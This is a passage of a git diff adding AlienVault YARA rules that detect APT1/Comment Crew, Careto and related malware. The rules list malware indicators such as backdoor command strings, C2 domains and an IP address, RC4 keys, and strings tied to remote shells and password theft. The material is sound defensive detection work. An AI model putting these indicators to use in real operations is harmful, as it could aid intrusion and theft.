+private rule APT1_RARSilent_EXE_PDF
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $winrar1 = "WINRAR.SFX" wide ascii
+        $winrar2 = ";The comment below contains SFX script commands" wide ascii
+        $winrar3 = "Silent=1" wide ascii
+
+        $str1 = /Setup=[\s\w\"]+\.(exe|pdf|doc)/
+        $str2 = "Steup=\"" wide ascii
+    condition:
+        all of ($winrar*) and 1 of ($str*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_Revird_svc.yar b/yara-mikesxrs/alienvault/APT1_Revird_svc.yar
new file mode 100644
index 0000000..6515f94
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_Revird_svc.yar
@@ -0,0 +1,19 @@
+rule APT1_Revird_svc
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $dll1 = "nwwwks.dll" wide ascii
+        $dll2 = "rdisk.dll" wide ascii
+        $dll3 = "skeys.dll" wide ascii
+        $dll4 = "SvcHost.DLL.log" wide ascii
+        $svc1 = "InstallService" wide ascii
+        $svc2 = "RundllInstallA" wide ascii
+        $svc3 = "RundllUninstallA" wide ascii
+        $svc4 = "ServiceMain" wide ascii
+        $svc5 = "UninstallService" wide ascii
+    condition:
+        1 of ($dll*) and 2 of ($svc*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_TARSIP_ECLIPSE.yar b/yara-mikesxrs/alienvault/APT1_TARSIP_ECLIPSE.yar
new file mode 100644
index 0000000..52871d4
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_TARSIP_ECLIPSE.yar
@@ -0,0 +1,14 @@
+rule APT1_TARSIP_ECLIPSE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "\\pipe\\ssnp" wide ascii
+        $2 = "toobu.ini" wide ascii
+        $3 = "Serverfile is not bigger than Clientfile" wide ascii
+        $4 = "URL download success" wide ascii
+    condition:
+        3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_TARSIP_MOON.yar b/yara-mikesxrs/alienvault/APT1_TARSIP_MOON.yar
new file mode 100644
index 0000000..d079244
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_TARSIP_MOON.yar
@@ -0,0 +1,19 @@
+rule APT1_TARSIP_MOON
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $s1 = "\\XiaoME\\SunCloud-Code\\moon" wide ascii
+        $s2 = "URL download success!" wide ascii
+        $s3 = "Kugoosoft" wide ascii
+        $msg1 = "Modify file failed!! So strange!" wide ascii
+        $msg2 = "Create cmd process failed!" wide ascii
+        $msg3 = "The command has not been implemented!" wide ascii
+        $msg4 = "Runas success!" wide ascii
+        $onec1 = "onec.php" wide ascii
+        $onec2 = "/bin/onec" wide ascii
+    condition:
+        1 of ($s*) and 1 of ($msg*) and 1 of ($onec*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WARP.yar b/yara-mikesxrs/alienvault/APT1_WARP.yar
new file mode 100644
index 0000000..a8aab1a
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WARP.yar
@@ -0,0 +1,15 @@
+rule APT1_WARP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $err1 = "exception..." wide ascii
+        $err2 = "failed..." wide ascii
+        $err3 = "opened..." wide ascii
+        $exe1 = "cmd.exe" wide ascii
+        $exe2 = "ISUN32.EXE" wide ascii
+    condition:
+        2 of ($err*) and all of ($exe*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_ADSPACE.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_ADSPACE.yar
new file mode 100644
index 0000000..e8cdc9d
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_ADSPACE.yar
@@ -0,0 +1,12 @@
+rule APT1_WEBC2_ADSPACE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "<!---HEADER ADSPACE style=" wide ascii
+        $2 = "ERSVC.DLL" wide ascii
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_AUSOV.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_AUSOV.yar
new file mode 100644
index 0000000..7cf99d1
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_AUSOV.yar
@@ -0,0 +1,15 @@
+rule APT1_WEBC2_AUSOV
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "ntshrui.dll" wide ascii
+        $2 = "%SystemRoot%\\System32\\" wide ascii
+        $3 = "<!--DOCHTML" wide ascii
+        $4 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" wide ascii
+        $5 = "Ausov" wide ascii
+    condition:
+        4 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_BOLID.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_BOLID.yar
new file mode 100644
index 0000000..08bad70
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_BOLID.yar
@@ -0,0 +1,12 @@
+rule APT1_WEBC2_BOLID
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $vm = "VMProtect" wide ascii
+        $http = "http://[c2_location]/[page].html" wide ascii
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_CLOVER.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_CLOVER.yar
new file mode 100644
index 0000000..eb8e984
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_CLOVER.yar
@@ -0,0 +1,17 @@
+rule APT1_WEBC2_CLOVER
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $msg1 = "BUILD ERROR!" wide ascii
+        $msg2 = "SUCCESS!" wide ascii
+        $msg3 = "wild scan" wide ascii
+        $msg4 = "Code too clever" wide ascii
+        $msg5 = "insufficient lookahead" wide ascii
+        $ua1 = "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; SV1)" wide ascii
+        $ua2 = "Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.0.12) Firefox/1.5.0.12" wide ascii
+    condition:
+        2 of ($msg*) and 1 of ($ua*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_CSON.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_CSON.yar
new file mode 100644
index 0000000..06212e9
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_CSON.yar
@@ -0,0 +1,16 @@
+rule APT1_WEBC2_CSON
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $httpa1 = "/Default.aspx?INDEX=" wide ascii
+        $httpa2 = "/Default.aspx?ID=" wide ascii
+        $httpb1 = "Win32" wide ascii
+        $httpb2 = "Accept: text*/*" wide ascii
+        $exe1 = "xcmd.exe" wide ascii
+        $exe2 = "Google.exe" wide ascii
+    condition:
+        1 of ($exe*) and 1 of ($httpa*) and all of ($httpb*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_DIV.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_DIV.yar
new file mode 100644
index 0000000..cc75fd9
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_DIV.yar
@@ -0,0 +1,14 @@
+rule APT1_WEBC2_DIV
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "3DC76854-C328-43D7-9E07-24BF894F8EF5" wide ascii
+        $2 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide ascii
+        $3 = "Hello from MFC!" wide ascii
+        $4 = "Microsoft Internet Explorer" wide ascii
+    condition:
+        3 of them
+}
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_GREENCAT.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_GREENCAT.yar
new file mode 100644
index 0000000..0121e00
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_GREENCAT.yar
@@ -0,0 +1,14 @@
+rule APT1_WEBC2_GREENCAT
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "reader_sl.exe" wide ascii
+        $2 = "MS80547.bat" wide ascii
+        $3 = "ADR32" wide ascii
+        $4 = "ControlService failed!" wide ascii
+    condition:
+        3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_HEAD.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_HEAD.yar
new file mode 100644
index 0000000..0d0d1b1
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_HEAD.yar
@@ -0,0 +1,14 @@
+rule APT1_WEBC2_HEAD
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "Ready!" wide ascii
+        $2 = "connect ok" wide ascii
+        $3 = "WinHTTP 1.0" wide ascii
+        $4 = "<head>" wide ascii
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_KT3.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_KT3.yar
new file mode 100644
index 0000000..6f40d5c
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_KT3.yar
@@ -0,0 +1,13 @@
+rule APT1_WEBC2_KT3
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "*!Kt3+v|" wide ascii
+        $2 = " s:" wide ascii
+        $3 = " dne" wide ascii
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_QBP.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_QBP.yar
new file mode 100644
index 0000000..8d0dd8d
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_QBP.yar
@@ -0,0 +1,15 @@
+rule APT1_WEBC2_QBP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "2010QBP" wide ascii
+        $2 = "adobe_sl.exe" wide ascii
+        $3 = "URLDownloadToCacheFile" wide ascii
+        $4 = "dnsapi.dll" wide ascii
+        $5 = "urlmon.dll" wide ascii
+    condition:
+        4 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_RAVE.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_RAVE.yar
new file mode 100644
index 0000000..a33d6a2
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_RAVE.yar
@@ -0,0 +1,14 @@
+rule APT1_WEBC2_RAVE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "iniet.exe" wide ascii
+        $2 = "cmd.exe" wide ascii
+        $3 = "SYSTEM\\CurrentControlSet\\Services\\DEVFS" wide ascii
+        $4 = "Device File System" wide ascii
+    condition:
+        3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_TABLE.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_TABLE.yar
new file mode 100644
index 0000000..48c2cd6
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_TABLE.yar
@@ -0,0 +1,14 @@
+rule APT1_WEBC2_TABLE
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $msg1 = "Fail To Execute The Command" wide ascii
+        $msg2 = "Execute The Command Successfully" wide ascii
+        $gif1 = /\w+\.gif/
+        $gif2 = "GIF89" wide ascii
+    condition:
+        3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_TOCK.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_TOCK.yar
new file mode 100644
index 0000000..8e8a370
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_TOCK.yar
@@ -0,0 +1,13 @@
+rule APT1_WEBC2_TOCK
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "InprocServer32" wide ascii
+        $2 = "HKEY_PERFORMANCE_DATA" wide ascii
+        $3 = "<!---[<if IE 5>]id=" wide ascii
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_UGX.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_UGX.yar
new file mode 100644
index 0000000..a71a0c7
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_UGX.yar
@@ -0,0 +1,16 @@
+rule APT1_WEBC2_UGX
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $persis = "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN" wide ascii
+        $exe = "DefWatch.exe" wide ascii
+        $html = "index1.html" wide ascii
+        $cmd1 = "!@#tiuq#@!" wide ascii
+        $cmd2 = "!@#dmc#@!" wide ascii
+        $cmd3 = "!@#troppusnu#@!" wide ascii
+    condition:
+        3 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_Y21K.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_Y21K.yar
new file mode 100644
index 0000000..1e9d885
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_Y21K.yar
@@ -0,0 +1,15 @@
+rule APT1_WEBC2_Y21K
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $1 = "Y29ubmVjdA" wide ascii // connect
+        $2 = "c2xlZXA" wide ascii // sleep
+        $3 = "cXVpdA" wide ascii // quit
+        $4 = "Y21k" wide ascii // cmd
+        $5 = "dW5zdXBwb3J0" wide ascii // unsupport
+    condition:
+        4 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_WEBC2_YAHOO.yar b/yara-mikesxrs/alienvault/APT1_WEBC2_YAHOO.yar
new file mode 100644
index 0000000..99b4aa5
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_WEBC2_YAHOO.yar
@@ -0,0 +1,13 @@
+rule APT1_WEBC2_YAHOO
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $http1 = "HTTP/1.0" wide ascii
+        $http2 = "Content-Type:" wide ascii
+        $uagent = "IPHONE8.5(host:%s,ip:%s)" wide ascii
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_dbg_mess.yar b/yara-mikesxrs/alienvault/APT1_dbg_mess.yar
new file mode 100644
index 0000000..1a94952
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_dbg_mess.yar
@@ -0,0 +1,17 @@
+rule APT1_dbg_mess
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $dbg1 = "Down file ok!" wide ascii
+        $dbg2 = "Send file ok!" wide ascii
+        $dbg3 = "Command Error!" wide ascii
+        $dbg4 = "Pls choose target first!" wide ascii
+        $dbg5 = "Alert!" wide ascii
+        $dbg6 = "Pls press enter to make sure!" wide ascii
+        $dbg7 = "Are you sure to " wide ascii
+    condition:
+        4 of them and APT1_payloads
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_known_malicious_RARSilent.yar b/yara-mikesxrs/alienvault/APT1_known_malicious_RARSilent.yar
new file mode 100644
index 0000000..bd0a42c
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_known_malicious_RARSilent.yar
@@ -0,0 +1,14 @@
+rule APT1_known_malicious_RARSilent
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $str1 = "Analysis And Outlook.doc\"" wide ascii
+        $str2 = "North Korean launch.pdf\"" wide ascii
+        $str3 = "Dollar General.doc\"" wide ascii
+        $str4 = "Dow Corning Corp.pdf\"" wide ascii
+    condition:
+        1 of them and APT1_RARSilent_EXE_PDF
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/APT1_letusgo.yar b/yara-mikesxrs/alienvault/APT1_letusgo.yar
new file mode 100644
index 0000000..d48cf60
--- /dev/null
+++ b/yara-mikesxrs/alienvault/APT1_letusgo.yar
@@ -0,0 +1,11 @@
+rule APT1_letusgo
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+    strings:
+        $letus = /letusgo[\w]+v\d\d?\./
+    condition:
+        $letus
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/AURIGA_APT1.yar b/yara-mikesxrs/alienvault/AURIGA_APT1.yar
new file mode 100644
index 0000000..59ed73b
--- /dev/null
+++ b/yara-mikesxrs/alienvault/AURIGA_APT1.yar
@@ -0,0 +1,16 @@
+rule AURIGA_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "superhard corp." wide ascii
+                $s2 = "microsoft corp." wide ascii
+                $s3 = "[Insert]" wide ascii
+                $s4 = "[Delete]" wide ascii
+                $s5 = "[End]" wide ascii
+                $s6 = "!(*@)(!@KEY" wide ascii
+                $s7 = "!(*@)(!@SID=" wide ascii
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/AURIGA_driver_APT1.yar b/yara-mikesxrs/alienvault/AURIGA_driver_APT1.yar
new file mode 100644
index 0000000..d23b5a1
--- /dev/null
+++ b/yara-mikesxrs/alienvault/AURIGA_driver_APT1.yar
@@ -0,0 +1,16 @@
+rule AURIGA_driver_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Services\\riodrv32" wide ascii
+                $s2 = "riodrv32.sys" wide ascii
+                $s3 = "svchost.exe" wide ascii
+                $s4 = "wuauserv.dll" wide ascii
+                $s5 = "arp.exe" wide ascii
+                $pdb = "projects\\auriga" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/BANGAT_APT1.yar b/yara-mikesxrs/alienvault/BANGAT_APT1.yar
new file mode 100644
index 0000000..2b33932
--- /dev/null
+++ b/yara-mikesxrs/alienvault/BANGAT_APT1.yar
@@ -0,0 +1,21 @@
+rule BANGAT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "superhard corp." wide ascii
+                $s2 = "microsoft corp." wide ascii
+                $s3 = "[Insert]" wide ascii
+                $s4 = "[Delete]" wide ascii
+                $s5 = "[End]" wide ascii
+                $s6 = "!(*@)(!@KEY" wide ascii
+                $s7 = "!(*@)(!@SID=" wide ascii
+                $s8 = "end      binary output" wide ascii
+                $s9 = "XriteProcessMemory" wide ascii
+                $s10 = "IE:Password-Protected sites" wide ascii
+                $s11 = "pstorec.dll" wide ascii
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/BISCUIT_GREENCAT_APT1.yar b/yara-mikesxrs/alienvault/BISCUIT_GREENCAT_APT1.yar
new file mode 100644
index 0000000..58a8597
--- /dev/null
+++ b/yara-mikesxrs/alienvault/BISCUIT_GREENCAT_APT1.yar
@@ -0,0 +1,16 @@
+rule BISCUIT_GREENCAT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "zxdosml" wide ascii
+                $s2 = "get user name error!" wide ascii
+                $s3 = "get computer name error!" wide ascii
+                $s4 = "----client system info----" wide ascii
+                $s5 = "stfile" wide ascii
+                $s6 = "cmd success!" wide ascii
+
+        condition:
+                all of them
+}
diff --git a/yara-mikesxrs/alienvault/BOUNCER_APT1.yar b/yara-mikesxrs/alienvault/BOUNCER_APT1.yar
new file mode 100644
index 0000000..8593d4f
--- /dev/null
+++ b/yara-mikesxrs/alienvault/BOUNCER_APT1.yar
@@ -0,0 +1,16 @@
+rule BOUNCER_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "*Qd9kdgba33*%Wkda0Qd3kvn$*&><(*&%$E#%$#1234asdgKNAg@!gy565dtfbasdg" wide ascii
+                $s2 = "IDR_DATA%d" wide ascii
+
+                $s3 = "asdfqwe123cxz" wide ascii
+                $s4 = "Mode must be 0(encrypt) or 1(decrypt)." wide ascii
+
+        condition:
+                ($s1 and $s2) or ($s3 and $s4)
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/BOUNCER_DLL_APT1.yar b/yara-mikesxrs/alienvault/BOUNCER_DLL_APT1.yar
new file mode 100644
index 0000000..6b0a59e
--- /dev/null
+++ b/yara-mikesxrs/alienvault/BOUNCER_DLL_APT1.yar
@@ -0,0 +1,12 @@
+rule BOUNCER_DLL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "new_connection_to_bounce():" wide ascii
+                $s2 = "usage:%s IP port [proxip] [port] [key]" wide ascii
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/CALENDAR_APT1.yar b/yara-mikesxrs/alienvault/CALENDAR_APT1.yar
new file mode 100644
index 0000000..50a45ef
--- /dev/null
+++ b/yara-mikesxrs/alienvault/CALENDAR_APT1.yar
@@ -0,0 +1,21 @@
+rule CALENDAR_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "content" wide ascii
+                $s2 = "title" wide ascii
+                $s3 = "entry" wide ascii
+                $s4 = "feed" wide ascii
+                $s5 = "DownRun success" wide ascii
+                $s6 = "%s@gmail.com" wide ascii
+                $s7 = "<!--%s-->" wide ascii
+
+                $b8 = "W4qKihsb+So=" wide ascii
+                $b9 = "PoqKigY7ggH+VcnqnTcmhFCo9w==" wide ascii
+                $b10 = "8oqKiqb5880/uJLzAsY=" wide ascii
+
+        condition:
+                all of ($s*) or all of ($b*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/CCREWBACK1.yar b/yara-mikesxrs/alienvault/CCREWBACK1.yar
new file mode 100644
index 0000000..8148107
--- /dev/null
+++ b/yara-mikesxrs/alienvault/CCREWBACK1.yar
@@ -0,0 +1,22 @@
+rule CCREWBACK1
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "postvalue" wide ascii
+    $b = "postdata" wide ascii
+    $c = "postfile" wide ascii
+    $d = "hostname" wide ascii
+    $e = "clientkey" wide ascii
+    $f = "start Cmd Failure!" wide ascii
+    $g = "sleep:" wide ascii
+    $h = "downloadcopy:" wide ascii
+    $i = "download:" wide ascii
+    $j = "geturl:" wide ascii
+    $k = "1.234.1.68" wide ascii
+
+  condition:
+    4 of ($a,$b,$c,$d,$e) or $f or 3 of ($g,$h,$i,$j) or $k
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/COMBOS_APT1.yar b/yara-mikesxrs/alienvault/COMBOS_APT1.yar
new file mode 100644
index 0000000..04e22dd
--- /dev/null
+++ b/yara-mikesxrs/alienvault/COMBOS_APT1.yar
@@ -0,0 +1,18 @@
+rule COMBOS_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla4.0 (compatible; MSIE 7.0; Win32)" wide ascii
+                $s2 = "Mozilla5.1 (compatible; MSIE 8.0; Win32)" wide ascii
+                $s3 = "Delay" wide ascii
+                $s4 = "Getfile" wide ascii
+                $s5 = "Putfile" wide ascii
+                $s6 = "---[ Virtual Shell]---" wide ascii
+                $s7 = "Not Comming From Our Server %s." wide ascii
+
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/CVE2012XXXX.yar b/yara-mikesxrs/alienvault/CVE2012XXXX.yar
new file mode 100644
index 0000000..180afc1
--- /dev/null
+++ b/yara-mikesxrs/alienvault/CVE2012XXXX.yar
@@ -0,0 +1,19 @@
+rule Java0daycve2012xxxx_generic
+{
+  meta:
+     weight= "100"
+     author = "Jaime Blasco"
+     source = "alienvault"
+     reference = "https://www.alienvault.com/blogs/labs-research/new-java-0day-exploited-in-the-wild"
+     date = "2012-08"
+  strings:
+        $ = "java/security/ProtectionDomain"
+        $ = "java/security/Permissions"
+        $ = "java/security/cert/Certificate"
+        $ = "setSecurityManager"
+        $ = "file:///"
+        $ = "sun.awt.SunToolkit"
+        $ = "getField"
+  condition:
+    all of them
+}
diff --git a/yara-mikesxrs/alienvault/CaptainWord.yar b/yara-mikesxrs/alienvault/CaptainWord.yar
new file mode 100644
index 0000000..89fd14f
--- /dev/null
+++ b/yara-mikesxrs/alienvault/CaptainWord.yar
@@ -0,0 +1,17 @@
+rule CaptainWord {
+	meta:
+		author = "Alienvault Labs"
+		reference = "https://www.alienvault.com/blogs/labs-research/cyber-espionage-campaign-against-the-uyghur-community-targeting-macosx-syst"
+		
+
+    strings:
+
+         $header = {D0 CF 11 E0 A1 B1 1A E1}
+
+         $author = {00 00 00 63 61 70 74 61 69 6E 00}
+
+    condition:
+
+         $header at 0 and $author
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/Careto generic malware signature.yar b/yara-mikesxrs/alienvault/Careto generic malware signature.yar
new file mode 100644
index 0000000..9bd43fc
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Careto generic malware signature.yar	
@@ -0,0 +1,32 @@
+rule Careto {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto generic malware signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+
+		/* General */
+		$name1 = "Careto" ascii wide
+		$s_1 = "GetSystemReport" ascii wide
+		$s_2 = "SystemReport.txt" ascii wide
+		$s_3 = /URL_AUX\w*=/ ascii wide
+		$s_4 = /CaretoPruebas.+release/
+
+		/* Certificate */
+		$sign_0 = "Sofia"
+		$sign_1 = "TecSystem Ltd"
+		$sign_2 = "<<<Obsolete>>>" wide
+
+		/* Encryption keys */
+		$rc4_1 = "!$7be&.Kaw-12[}" ascii wide
+		$rc4_2 = "Caguen1aMar" ascii wide
+		/* http://laboratorio.blogs.hispasec.com/2014/02/analisis-del-algoritmo-de-descifrado.html */
+		$rc4_3 = {8d 85 86 8a 8f 80 88 83 8d 82 88 85 86 8f 8f 87 8d 82 83 82 8c 8e 83 8d 89 82 86 87 82 83 83 81}
+
+		/* Decryption routine fragment */
+		$dec_1 = {8b 4d 08 0f be 04 59 0f be 4c 59 01 2b c7 c1 e0 04 2b cf 0b c1 50 8d 85 f0 fe ff ff}
+		$dec_2 = {8b 4d f8 8b 16 88 04 11 8b 06 41 89 4d f8 c6 04 01 00 43 3b 5d fc}
+
+	condition:
+		$name1 and (any of ($s_*)) or all of ($sign_*) or any of ($rc4_*) or all of ($dec_*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/Careto_CnC.yar b/yara-mikesxrs/alienvault/Careto_CnC.yar
new file mode 100644
index 0000000..1b9b026
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Careto_CnC.yar
@@ -0,0 +1,13 @@
+rule Careto_CnC {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto CnC communication signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$1 = "cgi-bin/commcgi.cgi" ascii wide
+		$2 = "Group" ascii wide
+		$3 = "Install" ascii wide
+		$4 = "Bn" ascii wide
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/alienvault/Careto_CnC_domains.yar b/yara-mikesxrs/alienvault/Careto_CnC_domains.yar
new file mode 100644
index 0000000..2aa0c6f
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Careto_CnC_domains.yar
@@ -0,0 +1,12 @@
+rule Careto_CnC_domains {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto known command and control domains"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
+		$1 = "linkconf.net" ascii wide nocase
+		$2 = "redirserver.net" ascii wide nocase
+		$3 = "swupdt.com" ascii wide nocase
+	condition:
+		any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/Careto_OSX_SBD.yar b/yara-mikesxrs/alienvault/Careto_OSX_SBD.yar
new file mode 100644
index 0000000..f82631a
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Careto_OSX_SBD.yar
@@ -0,0 +1,11 @@
+rule Careto_OSX_SBD {
+	meta:
+		author = "AlienVault (Alberto Ortega)"
+		description = "TheMask / Careto OSX component signature"
+		reference = "www.securelist.com/en/downloads/vlpdfs/unveilingthemask_v1.0.pdf"
+	strings:
